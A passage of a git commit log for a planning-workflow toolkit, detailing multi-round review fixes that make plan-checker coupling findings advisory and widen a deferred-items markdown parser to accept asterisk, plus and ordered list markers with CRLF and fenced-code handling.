the ADR-550 amendment overclaimed themselves as "the machine check the #2773 doc-only stopgap lacked." That check is actually engine-level (validateRequirement/classifyShape, covered in tests/edge-probe.test.cjs) — the prose tests are the same style of assertion #2773 already used. Reworded both to attribute the claim correctly. * fix(#3717): rewrap spec-phase.md so the id-unchanged sentence stays on one line The #3717 rewrite of Step 5.5's response_language paragraph moved a line break so "requirement `id`s" ended one physical line and "are never translated" started the next. The pre-existing #2773 regression test (tests/edge-probe-spec-phase-contract.test.cjs) asserts id + "never translated" on the SAME line (no \n in between, matching git's own line-oriented prose), so the reflow silently broke it. Rewrapped so the sentence lands on one line again, verified against every #2773/#3717 regex assertion in that test file. Emitted-Drift-Ack-Growth: spec-phase.md — #3717 adds text_en documentation to Step 5.5 (response_language paragraph + REQS_JSON heredoc comment); this growth is this PR's own diff, not incidental drift. * chore(#3717): backfill changeset PR number pr:0 -> pr:4156 now that the PR exists. --------- Co-authored-by: sim <sim@local>	2026-09-01 21:39:53 -04:00
Cody Anderson	8c9265d4e5	fix(#3724 ): warning-only Dimension 3b findings no longer force the revision loop (#3758 ) * fix(#3724): stop advisory Dimension 3b findings from forcing the revision loop Dimension 3b (undeclared/temporal coupling, #1954) is spec'd "never a blocker" but tagged severity: warning — the tier plan-phase's revision loop counts as must-fix — and the planner is never taught the rule, so every multi-wave phase touching shared mutable state replans at least once, and intentionally coupled plans re-flag identically every iteration to the stall prompt. Three coordinated changes: - gsd-plan-checker: retag 3b to severity: info, the tier references/revision-loop.md already exempts by design; recognize a coupling_justified frontmatter declaration in the Do-NOT-flag list so deliberate pairs converge. Additions are offset by trimming 3b motivation prose — the checker sits 45 bytes under its LARGE hard cap. - plan-phase step 12: INFO-only accept — an issues block with zero BLOCKER/WARNING entries accepts the plan and surfaces the advisories instead of re-entering the revision loop. Real blockers and warnings still gate unconditionally. - gsd-planner: slim pointer in assign_waves to the new progressive-disclosure reference gsd-core/references/planner-coupling.md (the planner sits 19 chars under its own cap), which carries the shared-mutable-state rule and the coupling_justified escape hatch so first-pass plans avoid the finding when the coupling is unintentional. Documented the coupling_justified field in docs/reference/plan-md.md. Growth acks per #2914; inventory manifest and install-tree fixtures regenerated for the new reference file. Closes #3724 Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * test(#3724): pin Dimension 3b at severity: info The severity retag makes the old assertion (severity: warning) stale; lock the advisory tier from both directions — info must be present, warning must not — so a future edit cannot silently re-arm the revision-loop trigger. Refs #3724 Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * chore(#3724): changeset fragment for PR #3758 Refs #3724 Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * docs(#3724): roster planner-coupling.md in docs/INVENTORY.md The new reference was enumerated in the manifest and all 19 install-tree fixtures but missing its row in the Modular Planner Decomposition table — the roster half the manifest-sync test cannot check. (Review Blocker.) Refs #3724 Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * test(#3724): cover all four acceptance criteria (review round 1) - plan-checker-coupling: the 3b severity assertion is now a PARITY check deriving the exempt tier from revision-loop.md's flow instead of hardcoding info — editing either side alone reds the suite. New describe pins the other three criteria: plan-phase's INFO-only accept clause (proven failing-first), the BLOCKER + WARNING count staying intact, the coupling_justified Do-NOT-flag exemption + fix_hint, and the planner pointer + planner-coupling.md content. - ack fragment: $comment's plan-phase figure corrected to +79B; the 2775 pin note carried forward into the gsd-planner.md entry, updated for upstream's #3761/#3764 Rule-paragraph anchor (which this diff leaves verbatim). The parallel-dependent-plans re-anchor this commit originally carried was superseded by upstream #3764 during review; this branch no longer touches that file. Refs #3724 Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * fix(#3724): review round 2 — align the stance enumeration, complete the template contract MAJOR: <adversarial_stance>'s severity enumeration gains the INFO bullet so it agrees with Dimension 3b's 'ALWAYS INFO' mandate instead of contradicting it. Funded by extracting the inline <examples> block to the new progressive- disclosure reference gsd-core/references/plan-checker-examples.md (@-inlined from the same spot; #1949 precedent), which also restores the 3b motivation clause round 1 traded away (Nit 4) and nets the agent file SMALLER than base (49107 -> 48486) — the extraction the byte pressure was owed. MINOR: gsd-core/templates/phase-prompt.md now carries coupling_justified, and the field's shape becomes one 'plan-id: reason' string per coupled peer so a plan justified against two peers can express it; docs/reference/plan-md.md's Type column names the shape. NIT: the 3409 ack's plan-phase entry no longer calls the #1168 workflow ratchet an 'XL tier'. Acks and derived artifacts updated accordingly (checker entry removed — a shrink needs no ack; INVENTORY roster row + regen:derived for the new file). Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * test(#3724): derive the 3b negative severity assertion (review round 2) Every severity token in the 3b span must BE the tier revision-loop.md exempts, replacing the hardcoded severity:warning negative — if the loop's exemption ever moves, the failure names the real conflict instead of blaming the agent file with a mutually-unsatisfiable pair. Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * fix(#3724): refit the planner coupling pointer under the char cap Upstream #3299 (PR #3390) grew agents/gsd-planner.md to 49146 chars at the base, leaving 5 chars of headroom where the +16-char pointer was measured against 13 more. The pointer prose shortens to 'Non-file coupling:' — 49150 chars, back under the strict 49152-char cap — and the ack figures follow. The @-path the tests pin is unchanged. Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * fix(#3724): re-home the plan-phase ack after the #3823 spent-fragment sweep Upstream #3078/#3823 deleted all fully-spent ack fragments, including 3409-unreachable-guard-arms.json, which carried this PR's plan-phase.md +79B append. Per the collision remedy that sweep added: take the deletion and home the still-live entry in this PR's own fragment. Figures re-measured at this merge base (90871 -> 90950 LF bytes). Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * fix(#3724): absorb the spent #3172 plan-phase fragment into this PR's ack Upstream #3825 shipped 3172-stated-failing-direction.json naming only plan-phase.md, now spent at the base — colliding with this PR's live plan-phase entry. Per the #3003 pattern the fully-spent single-path fragment is deleted and this fragment stays the path's one source; figures re-measured at this base (93073 -> 93152 LF bytes). Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * fix(#3724): review round 3 — true up the ack figures, restore the wave comment The fragment's absolute sizes are re-measured and anchored to base `e40e9670` (planner 47259 -> 47330 chars, checker 45537 -> 44916 B, plan-phase 91186 -> 91265 LF bytes), with a note that absolutes rot as next moves — the deltas are the durable claims. The round-1 removal of the '# Implicit dependency: files_modified overlap forces a later wave.' pseudocode comment offset headroom base drift had already returned, so it is restored (findings 2-3). Changeset gains the (#3724) backlink (finding 4). Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * fix(#3724): review round 4 — close the verify-work surface, harden the boundaries BLOCKER: verify-work.md's verify_gap_plans is the second multi-plan consumer of the checker's sentinels, and its ISSUES FOUND handler entered revision_loop with zero severity parsing — the guaranteed replan #3724 fixed in plan-phase, alive on the gap-closure surface. The handler now counts BLOCKER + WARNING and accepts INFO-only returns with advisories displayed. The checker's INFO stance bullet is reworded to the claim that is true everywhere ('revision gates count only BLOCKER + WARNING'). Minor 1: plan-phase's iteration_count >= 3 arm recounts severities, so an INFO-only third check accepts instead of halting on a '0 issues remain' user gate. Minor 2: the coupling_justified exemption now requires the entry to NAME the other plan, closing the blanket-suppression reading. Nit 1: INVENTORY row states the extraction buys cap headroom, not context. Nit 2: the advisory display gains a concrete format on both surfaces. Ack fragment re-anchored at base `ddde001a`: verify-work.md +264B (new entry), plan-phase.md +395B, checker still net negative (-512B). Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * test(#3724): pin the verify-work accept and the iteration-cap boundary (review round 4) Two wiring assertions: verify_gap_plans' ISSUES FOUND handler gates on BLOCKER + WARNING and accepts INFO-only blocks, and plan-phase's iteration_count >= 3 arm recounts severities instead of gating advisories — the limit+1 boundary of the gate this PR fixes. Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * fix(#3724): review round 5 — fail closed at the gates, surface the advisory Blocker 1: the checker's step-10 status rule routes an INFO-only result to ## ISSUES FOUND (with a new ### Advisories (info) template section and a severity-aware recommendation) so the orchestrator receives the block and displays the advisory instead of silently accepting a bare PASSED. Blockers 2+3: all three gate surfaces (plan-phase step 12 both arms, verify-work verify_gap_plans) carry one canonical clause verbatim — an entry whose severity is missing or unrecognized counts as a BLOCKER (fail closed) — making the accept condition an explicit-INFO whitelist while keeping issue_count coherent for stall math. Major 1: the INFO stance bullet scopes its claim to the plan-phase and verify-work gates (quick mode's loop still revises on any ISSUES FOUND). Major 2: INVENTORY row and ack $comment state the extraction's real trade (readability, +0.6 KB eager runtime context), not a cap remedy. Minor 1: plan-md.md marks coupling_justified as prompt convention, unvalidated. Nit 1: ack absolutes re-anchored at base 1e67ec97; checker now +120B and acked. Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * test(#3724): pin the round-5 contract — fail-closed parity, INFO-only return shape New: three-surface verbatim parity test for the fail-closed clause (Blockers 2+3); checker return-contract test for the INFO-only ## ISSUES FOUND route and advisories section (Blocker 1). All seven newly pinned tokens are absent at f3a5682d, so each new assertion fails pre-fix. Updated: accept-clause regexes track the explicit-INFO whitelist wording; the severity sweep scopes to the span's fenced yaml examples via yamlSeverityTiers (round-5 Minor 3, applied to the blocker negative too); the iteration-cap comment states it is a prose pin, not an executed boundary check (Minor 4); splitLines call sites document the line-pin coupling (Nit 2). Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * fix(#3724): adopt next's line wrap in the 3b motivation clause — drops a wrap-only hunk from the diff Byte-identical content; the wrap difference was an artifact of the round-1 base adaptation predating upstream's #3003 landing. Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM * fix(#3724): review round 7 — gate every checker consumer, not just the two audited ones Blocker: quick/steps/plan-checker-loop.md (issue-named in #3724) gets the same canonical fail-closed clause and explicit-INFO whitelist accept as plan-phase/verify-work — an INFO-only result proceeds instead of entering quick mode's revision loop. Major: import.md plan_validate handles the checker return by severity (INFO-only never blocks an import) and is added to agent-contracts.md's consumer enumeration, which had omitted it. The checker's INFO stance bullet drops the quick-mode carve-out — the claim is universally true again now that every consuming gate is severity-aware. Minor: an applied coupling_justified exemption is surfaced as its own info advisory so a stale one-sided declaration stays observable. Nit: plan-phase's revision-iteration Display line is explicitly conditioned on not having already proceeded to step 13. Claude-Session: https://claude.ai/code/session_01GshUzpGjoxiw6uNRiFMHvM Emitted-Drift-Ack-Growth: import.md — #3724 round 7: the plan_validate step's checker-return handler becomes severity-aware — counts BLOCKER + WARNING failing closed and accepts an explicitly-INFO-only return with advisories displayed instead of blocking the import * test(#3724): pin the round-7 surfaces — five-gate parity, quick/import accepts, exemption visibility The verbatim fail-closed parity test extends to quick/steps/plan-checker-loop.md and import.md plan_validate; new assertions pin quick mode's INFO-only proceed, import's never-blocks accept, import.md's presence in agent-contracts.md's consumer row, and the surfaced coupling_justified exemption advisory. All four newly pinned token families are absent at the pre-fix head, so each new assertion fails first.

0xdhx	ef9ce3e598	fix(#3702 ): count asterisk, plus and ordered markers as deferred-items entries (#3739 ) * fix(#3702): deferred-items counts ``, `+` and ordered markers as list items `deferred-items.md` has no template and no mandated shape, but its parser recognised only the `- ` hyphen marker. Asterisk bullets, plus bullets and dot-terminated ordered lists — all lists in CommonMark and GFM — contributed ZERO entries on both the headless and the heading-delimited path, and a mixed file dropped its non-hyphen entries while keeping their hyphenated siblings, under-reporting without ever looking empty. The restriction was a regex literal inherited from the Gaps seam, where the template genuinely mandates the hyphen YAML-lite form; nothing in the module's stated rationale distinguishes `` from `-`. Widened on the deferred path only: - `splitGapsEntriesCore`'s entry opener, `extractGapEntryFields`' line-0 strip and `rawGapEntryText`'s line-0 strip take a `BulletMarkers` parameter that DEFAULTS to the hyphen-only set, so `## Gaps` keeps its template-mandated grammar byte-for-byte and the module still has exactly one grouping pass. - `splitDeferredHeadingEntries`' body-bullet test, `stripLeadingBulletMarker` and `acknowledgeDeferredItem`'s status-field regexes move in lockstep — widening what OPENS an entry without widening what is STRIPPED before field extraction would surface an entry that can never resolve. Unchanged, and pinned by tests: prose-only and bare headings still contribute nothing ("prose is not an item"); a table under a leaf heading still yields exactly its rows, since table lines are skipped before the body-marker flag can be set and a `\|` row is not a list marker; the paren-terminated ordered form `1)` is out of this fix's scope. * docs(#3702): changeset fragment (pr: 0 placeholder pre-create) * fix(#3702): widen the forensic-audit prose entry rule to match the parser Sibling site of the same defect class, found by a defect-class sweep of the deferred-items consumers. `/gsd-progress` check 7 does NOT go through `gsd-tools query` — it globs `deferred-items.md` and has the model read entries by a prose rule that mandated "one entry per top-level `- ` line". Left as-is, the marker widening would hold on the CLI path while the one consumer that bypasses the parser kept reporting "No unresolved deferred items" for a file written with ``, `+` or an ordered marker: the same false negative, surviving in the only place the fix could not reach by code. Also pass DEFERRED_BULLET_MARKERS explicitly where the heading path extracts fields. It was already correct — stripLeadingBulletMarker pre-strips the widened set from every line, so the default hyphen strip is a no-op there — but relying on that leaves a detection site and a strip site nominally on different marker sets, which is exactly the asymmetry the BulletMarkers doc comment warns about. Explicit is local; inferred is a trap for whoever edits the strip next. Out of scope, noted rather than fixed: forensic-audit.md globs only `.planning/phases//` and so misses archived milestone phases that `scanDeferredItems` covers. Pre-existing, a different defect, and not this issue's ruling. * docs(#3702): note the milestone-close halt for heading-shape non-hyphen files in the changeset A heading-delimited deferred-items.md written with /+/ordered markers previously parsed to zero and closed silently; it now yields entries whose heading shape acknowledgeDeferredItem refuses, halting complete-milestone until hand-edited. User-visible, so the fragment states it. chore(#3702): set changeset fragment pr to 3739 * fix(#3702): CR-normalise the heading path and the acknowledge writer (review B1, M4, m2) B1 — `splitDeferredHeadingEntries` stored RAW lines; on a CRLF file every body line but the last still carried its `\r`, the `$`-anchored marker strip failed on it, the marker survived into field extraction and the field was lost — a `Status: resolved` that was not the file's final line resurfaced its entry as open. The heading path now stores CR-stripped lines like the headless path already did, and the strip regex tolerates a trailing CR on its own. Round 1's CRLF test put `Status:` on the last line, the one position `collectSection`'s `.trimEnd()` had already de-CR'd; the new tests put it first and mid-body. M4 (pre-existing on `next`) — `acknowledgeDeferredItem` found the status line on a CR-stripped copy but rewrote the raw line with a `$`-anchored `.`, which cannot consume `\r`; `replace` returned its input, and the writer reported `ok` over byte-identical content. The rewrite now runs on a CR-stripped line. The comment that claimed `.$` consumed the `\r` is corrected — it was the bug, stated as the design. m2 — the indent probe for an inserted `status:` line ran on the raw line and fell back to indent 0 on CRLF; it is CR-stripped too. * fix(#3702): derive every deferred-items marker regex from one source (review M3, N1, N2) M3 — round 1 carried the marker alternation in FOUR places: the `BulletMarkers` pair and two inline literals inside `acknowledgeDeferredItem`, under a doc comment saying the interface existed so a detection site and its strip site could not drift. All four now derive from `DEFERRED_MARKER_ALT`; drift is impossible rather than discouraged. A parity test pins the vocabulary against `markdown-sectionizer`'s `iterateBullets` on everything the two grammars are meant to agree on, and names the two points they deliberately differ. N1 — the ordered marker is `\d{1,9}\.` (CommonMark §5.2), not `\d+\.`. N2 — the marker is followed by `[ \t]`, not `\s`, which also accepted `\r`; the tab remains accepted (CommonMark-legal) and the divergence from `iterateBullets`' literal space is pinned rather than papered over. The four regexes are exported for the parity test only. * fix(#3702): an ordered marker opens an entry only from `1.` or inside a run (review B2, m1) B2 — `\d+\.` alone read ordinary prose as a list: "2026. was a bad year for this module" and, under `### Notes`, "3. is the number of retries we settled on." both opened an entry on round 1, the second straight through the "prose is not an item" contract that round's AC4 claimed to preserve. CommonMark §5.3 faces the same ambiguity when an ordered list would interrupt a paragraph and resolves it by requiring the list to start with 1; `matchListOpener` applies that rule wherever an ordered marker is seen, with the run carried per list (headless) or per leaf-heading body. Numbers after the first are ignored, as CommonMark ignores them. Stated cost, pinned: a hand-numbered list starting at 2 reads as prose — every ordered record in the #3702 scan starts at 1. Both reviewer cases are pinned as prose; the ruling's `1. alpha / 2. beta` shape still counts. m1 — the 9-digit boundary is pinned at both sides (`999999999.` opens, ten digits is not a marker), and the 3-vs-4-space indentation cliff is pinned as deliberately NOT applied: the parser is indent-lenient because surfacing a questionable hand-written entry beats dropping a real one. * fix(#3702): thematic breaks close the list and fenced code never opens an entry (review M1, M2) M1 — `- - -` was a phantom `"- -"` entry on base; widening the marker set added `* * ` and `+ + +` to the class, and ` * ` is the separator an author writing in the `` style is most likely to use. A CommonMark §4.1 thematic break (plus the `+ + +` gesture, which is the same garbage as an entry name) now closes the open entry on the headless path and is dropped from the body on the heading path — neither an item nor a continuation. M2 — neither splitter was fence-aware, so `+ `-prefixed diff lines and `1.`-numbered repro steps inside a code block counted as entries; #3702's wild records carry exactly those blocks. Both splitters now classify lines by the sectionizer's own `scanFencedBlocks` (so `~~~`, indented and unterminated fences behave as `stripFencedCode` would): fence content never opens an entry, is continuation inside an open one — keeping the span invariant `acknowledgeDeferredItem` re-verifies — and is discarded before the first. * test(#3702): range the #2287 deferred-items property over marker × shape × line ending (review B3) The `#2287` property hard-coded `- ` and filtered `\r\n` out of its arbitraries, so the widened marker set — an enumerated domain, exactly what a property is for — was never under it. It now ranges over `{-, , +, ordered}` × `{headless, heading}` × `{LF, CRLF}`, with the heading shape placing `Status:` first or last: the review's prescription (markers × line endings) would not have reached B1, which lives on the heading path only, so the shape axis is the load-bearing addition. Ordered entries are numbered from 1, so the B2 run rule is under the property too. A second property drives `acknowledgeDeferredItem` over every unresolved headless entry across the same marker × line-ending grid — the one that reaches M4 (a CRLF rewrite that reported `ok` and wrote nothing) and m2. test(#3702): pin the milestone-close halt on a heading-delimited ``/`+`/`1.` file (review m3) A heading-delimited `deferred-items.md` written with a non-hyphen marker previously parsed to zero entries and let `complete-milestone` close silently; it now yields entries whose heading shape `acknowledgeDeferredItem` refuses, which the milestone loop turns into `record_ack_failure` → exit 1. The loop is prose in a workflow, so the test drives the two CLI calls it makes: `audit-open --json` must list the entry, and `audit-open acknowledge --text <the audit's own text>` must refuse with the heading-delimited message and write nothing. docs(#3702): changeset and forensic-audit prose carry the round-2 grammar The changeset names the CRLF fixes, the ordered start-at-1 rule, thematic breaks and fences. The `/gsd-progress` forensic-audit step is the one prose parser of this file and must state the same grammar the code has. * fix(#3702): round-review refinements — run ends at a paragraph, rejected ordinals unstripped, breaks at any indent, fenced fields, `## Gaps` scope Findings from the pre-push adversarial review of round 2, each pinned: - An ordered run ENDS at a paragraph that follows a blank line (CommonMark §5.3); a non-indented line with no blank before it is lazy continuation and keeps the run open. `1. a` / blank / `paragraph` / blank / `5. x` is one entry, not two. - The heading path strips the marker off every body line before field extraction (#3457); a line whose ordinal `matchListOpener` REJECTED must not be stripped, or "3. status: resolved" as prose loses its `3. ` and reads as a resolved field. `splitDeferredHeadingEntriesDetailed` now carries a per-line opener flag and only accepted openers are stripped — in headless regions of a heading-shaped file too. - A thematic break is recognised at any indent, matching the parser's indent-lenient reading of items; ` * * ` was a phantom ` `. - Fenced lines carry no FIELDS either: a `status: resolved` quoted inside a code block no longer resolves its entry on either path. - Block structure (breaks, fences) is a property of the GRAMMAR, carried as `BulletMarkers.blockStructure`: the deferred set opts in, the Gaps set does not, so `## Gaps` is byte-for-byte on its `next` behaviour — the round-2 M1/M2 change had reached it through the shared splitter. test(#3702): the property exercises the rejected-ordinal branch; the N2 control is independent Round review: the widened #2287 property numbered every ordered run from 1 and so never generated an ordinal the start-at-1 rule rejects — it could not tell round 1 from round 2 on B2. Each entry may now carry a decoy prose line beginning with a non-1 ordinal, placed where it cannot end a run (before the first headless entry; first in a heading body), followed by a `status: resolved` that must never become a field; and a decoy-only heading body must yield no entry. The N2 assertion accepted a tab, which round 1's `\s` accepted too, so a `[ \t]` → `\s` revert alone stayed green. NBSP, form-feed and vertical-tab are now asserted refused — the assertion that fails on that revert on its own, and the disclosure that `[ \t]` narrows what round 1 accepted. * fix(#3702): the splitter records its own opener flags; an opener clears the blank-line memory Round-review continuation, two state defects in the ordered-run logic: - `blankSeen` survived the headless splitter's opener branch, so an opener followed by a lazy continuation line read as "paragraph after a blank" and ended the run — `1. a` / blank / `2. b` / lazy / `3. c` folded `c` into `b`. The opener branch now clears it. - The heading path re-derived per-line opener flags for headless regions without the paragraph reset, re-accepting a rejected `3. status: resolved` under a stale run and stripping it into a field. `GapsEntrySpan` now carries the flags the splitter itself computed, and the heading path reads them; the re-derivation is deleted. * fix(#3702): ordered-run memory is per indent — nested runs resolve, nested ordinals never inherit the top-level run Round-review continuation 2: nested openers consulted the TOP-LEVEL run flag and never wrote their own, so a nested `1. / 2.` run under a hyphen entry rejected its `2. status: resolved` (round 1 resolved it), while a nested `3. status: resolved` under a nested `- ` bullet inherited an open top-level run and was stripped into a false field. `OrderedRuns` keys the memory by indent: a new opener at indent d resets every deeper level, a paragraph after a blank at indent d ends the runs at d and deeper, a thematic break or a heading clears all. Both splitters use it; the top level still decides entry boundaries, nested levels decide only which continuation lines are accepted openers for field stripping. Pinned for LF and CRLF. * fix(#3702): run levels — one top level at or above the base, CommonMark column indents, a fence ends its level's runs Round-review continuation 3: - A dedenting top-level list (` 1.` / ` 2.` / `3.`) lost its entry boundaries: the exact-indent run lookup rejected the shallower ordinals before the boundary check ran. Every indent at or shallower than the list's base is now ONE level, in both splitters. - `indentOf` counted characters, so a tab and a space aliased to one level and `\t1. nested` / ` 2. status: resolved` resolved falsely. Indent is now measured in CommonMark columns (§2.2: a tab advances to the next multiple of 4), for the run level and the entry-boundary check alike. - A nested run survived a fenced block. A fence is a non-list block: its opening delimiter ends the runs at its level and deeper, exactly as a paragraph after a blank does. * fix(#3702): the indent measure is grammar-scoped — Gaps keeps next's character count `blockStructure: false` promised the Gaps grammar byte-for-byte parity with `next`, but the CommonMark-column indent measure added for the deferred grammar was shared by the whole splitter core, so tab-indented Gaps input changed entry boundaries in BOTH directions: `\t- a` / ` - b` — next folded into one entry, HEAD split into two ` - a` / `\t- b` — next split into two, HEAD folded into one `indentWidth` now keys the measure on the grammar: columns for the deferred set, raw character count for Gaps. The opt-out covers indent semantics, not only fences and thematic breaks. Four cases pin both halves — the two flipped Gaps pairs, the two Gaps pairs that never moved, and the same tab/space pairs on the deferred path returning the opposite (column-measured) verdict by design. * fix(#3702): the acknowledge path reads and writes through one classifier Round 3, Blockers 1 and 3, and Minors 7 and 8 — one mechanism, so one commit. Every consumer of an entry's lines now reads the splitter's own per-line verdict instead of a re-derivation of it. B1. Round 2 widened the WRITER's status-line finder to the deferred marker set while `extractGapEntryFields` still de-bulleted line 0 only. A nested ` * status: pending` was therefore selectable by the writer and invisible to the reader: acknowledge rewrote it in place, returned `ok`, and the item stayed outstanding on every later audit. Measured against a `next` build, ``, `+` and `1.` each resolved on base and stopped resolving at round 2's head — a regression, not a gap in new behaviour. The hyphen form of the same shape was already broken on `next` and is fixed here too: one classifier cannot be right for three markers and wrong for the fourth. `parseGapEntryFieldLine` is now the single place a line is classified as a field, and it reports the offset at which the VALUE begins. The rewrite happens at that offset rather than through a second regex, so a line the classifier can select is one whose rewrite it has already located — the selection and the rewrite cannot disagree. Both `DEFERRED_STATUS_FIELD_RE` and `DEFERRED_STATUS_REWRITE_RE` are deleted rather than widened. A read-back guard returns `rewrite_not_readable` rather than `ok`; it is unreachable by construction today and is the fail-loud floor under the next divergence. B3. This is the end state the round-3 review prescribed on both #3739 and #3773: #3773's shared classifier, parameterised by this PR's marker set, with this PR's two status regexes deleted. #3773 lands first. Its hyphen-only strip is consistent with `next`'s hyphen-only splitter today, so the writer/reader divergence is created by THIS merge, which is why widening every consumer belongs to the PR that widens the domain. m7. The heading path marker-stripped its lines before calling the reader, so the reader's fence scan ran over text the splitter never saw: `- ```sh` is an ordinary bullet to the splitter but strips to a fence opener, and a `Status:* resolved` after it was suppressed as fence content — a resolved entry resurfaced as open. Stripping now happens inside the reader, after the fence scan. m8. `rawGapEntryText` stripped a marker off line 0 unconditionally, but on the heading shape line 0 is the heading TEXT: `### 1. Race in the writer` was silently renamed to `Race in the writer`, and the name is the key acknowledge matches on. Line 0 is stripped only when the splitter accepted it as an opener. Also removed: `splitDeferredHeadingEntries`, whose sole caller only null-checked it (round 3, M4 — the claim was zero callers, which was wrong; the wrapper's `.map` was waste at the one call site), and `stripLeadingBulletMarker`, which this change leaves with no callers at all. The export surface narrows to the two splitter regexes the behavioural parity test reads (M6). [PEER-ASK pr-order-12d5] q: Reviewer blocked both on merge order. I'm declaring #3773 lands first and building the end-state shape into #3739 now (both my status regexes deleted). Does that match your plan? reply: CONFIRMED - same order, derived independently. #3773 cannot carry the fold: `DEFERRED_BULLET_MARKERS`/`BulletMarkers` have zero occurrences at `next` (verified), so the prescribed end state is not executable inside #3773 without absorbing this PR's work. deadline: 03:55 UTC (answered before it) fallback: declare #3773 first, adopt end-state shape in #3739, push+comment decision: proceeded as stated; #3773 lands first, this PR carries the widening of every consumer. Refs #3740 * test(#3702): pin the detect/strip symmetry, and drop a white-box test that could not reach it Round 3, Blocker 2 and Minors 6 and 9. B2. The regression shipped green because no fixture put a marker on a nested status line. Four markers x {nested status line}, each asserting the entry READS BACK as acknowledged rather than that acknowledge merely reported `ok` — reporting `ok` over a line the reader skips is the whole defect. Plus the bare capitalised `Status:` case (the reader stores it case-sensitively, so the writer must not select it), and an idempotence test, which is the failure the defect actually produced: the item resurfaces, is acknowledged again, and never settles. Each of these was run against the pre-fix build first: all five fail there and pass here. Two further assertions in the block are labelled CONTROL because they held pre-fix — they guard the new offset-based rewrite and the opener-flag threading against regressing, and calling them regression tests for a reported defect would overclaim. M6. The round-2 parity test asserted that four writer-side regexes embedded the same source string. That is true of a detect/read asymmetry too, so it could not have caught B1 — and two of the four regexes were widened into `export =` purely to let it read them. Replaced with a behavioural test that drives the real seam: every marker that opens an entry must also resolve it through acknowledge. The structural assertion is kept for the two splitter regexes, which really are two copies of one alternation. m9. `expectedResolved` was computed and immediately voided; the loop beneath it already asserts both polarities. m7/m8 coverage lands here too: a bullet whose content is a fence opener must not suppress the entry's fields, and a heading beginning with a list marker must keep it in the entry name. * docs(#3702): document the deferred-items entry shape where the file is written Round 3, Major 5, and #3702's own item 2. The widened grammar was documented in the reader (`forensic-audit.md`) but not at the write site, where `executor-examples.md` still said only "log to deferred-items.md" — so the question the issue actually raised, which shapes count, remained unanswered anywhere a human writes the file. States what opens an entry (`-`, ``, `+`, and `1.` when the list starts at `1.`), that `1)` is not a marker here, that a separator closes the list and fenced content is never an entry or a field, and that an entry without an explicit `status: resolved` stays open by design. chore(#3702): regenerate the changeset through the generator Round 3, Minor 10. The fragment was hand-named against 64 generated names on `next`, and its body ran ~250 words against CONTRIBUTING's one-sentence form. Regenerated via `npm run changeset`, which is also what the random three-word name is for: concurrent PRs never collide. * fix(#3702): the fence gate lives on the seam both sides call, not just the reader Found by the pre-push adversarial review of this round, and it is a regression this round introduced rather than a pre-existing one. `extractGapEntryFields` applied `fencedLineSet` before classifying; the acknowledge writer's status-line search did not. So a `status:` line inside a fenced block was SELECTED by the writer and SKIPPED by the reader — the write produced a line nothing reads, the read-back guard refused it, and the entry became impossible to acknowledge at all: `audit acknowledge` raised an internal error and `complete-milestone` halted on it. Measured, `- alpha` / fence / ` status: pending` / fence: next ack=ok -> reads back "acknowledged" round-2 head ack=ok -> reads back "" (the B1 defect) before this ack=rewrite_not_readable -> refuses entirely (worse than next) `entryFieldLines` is now the seam — per line of an entry, the field it declares or `null`, fences included — and the reader and the writer both go through it. That makes "the writer cannot select a line the reader will not read back" structural rather than asserted, which is what the previous commit's message claimed while a second read-side filter still lived outside the classifier. Two comments corrected with it. The read-back guard is NOT "unreachable by construction": this round shipped a reachable path to it, which is precisely what an invariant asserted in a comment is worth. And the M6 replacement test put its marker only on the entry opener, so it passed against the defective build — the exact weakness it was introduced to fix in round 2's test. It now marks the nested status line too, and fails pre-fix like the rest. Round-3 tests against the pre-fix build: 10 of 12 fail there, and the 2 that hold are labelled CONTROL because they guard this round's new code rather than pin a reported defect. * fix(#3702): one end-of-file CRLF algorithm, adopting #3773's with its B4 closed Round-4 M1. Two open PRs shipped two different answers to "what line ending does an entry that ENDS THE FILE get?", and the review's ruling was that the disagreement needs one answer, not two. Neither shipped answer was that one. Measured on builds of both heads: case #3739 r3 #3773 here undelimited single entry, CRLF preamble pass FAIL pass LF-dominant list, one stray CRLF at EOF FAIL pass pass (the other five) pass pass pass This PR's content.endsWith('\r\n', matchIndexInContent) reads the terminator of the PREVIOUS line, so it propagated an isolated CRLF into an LF-dominant list -- refuted by #3773's own LF-dominant fixture, ported here. Withdrawn. #3773's crlfAtEof asks the right question -- does anything before the entry, within scope, contradict CRLF -- and fails closed. But its scope goes EMPTY for an undelimited single-entry list, because the entry-list region runs from the first entry's start to the insertion point and those coincide; crlfAtEof('') is false by its own before.length > 0 guard, so 'preamble\r\n\r\n- alpha' gained a bare \n in a CRLF document. That is #3773's B4, verified by driving its head. Adopted here with the scope widened to everything preceding the insertion point where the preferred region is empty, rather than asserting LF from no evidence. That only ever loosens a scope carrying zero information, and the predicate stays fail-closed over the wider one. An entry at offset 0 of an undelimited document has no evidence under either scope and stays LF. Tests: 10 added. Negative control, driven -- 1 of the 10 fails against this branch's own pre-fix head (the stray-CRLF fixture); B4 fails against #3773's head; the remaining 8 are the scope counterexamples ported with the function, which were regression pins in #3773 and are guards here. Each still kills a simpler algorithm: drop any one and a refuted scope passes again. Four deferred-items suites 450/450, 0 skipped. npm run lint:ci exit 0. * fix(#3702): drop the unreachable rewrite_not_readable guard (B3) Round-4 B3: the status had zero test coverage in either file. The review offered two branches -- drive it from a test, or delete it and stop carrying an untested terminal status. Taking the second, with the reason stated rather than assumed. 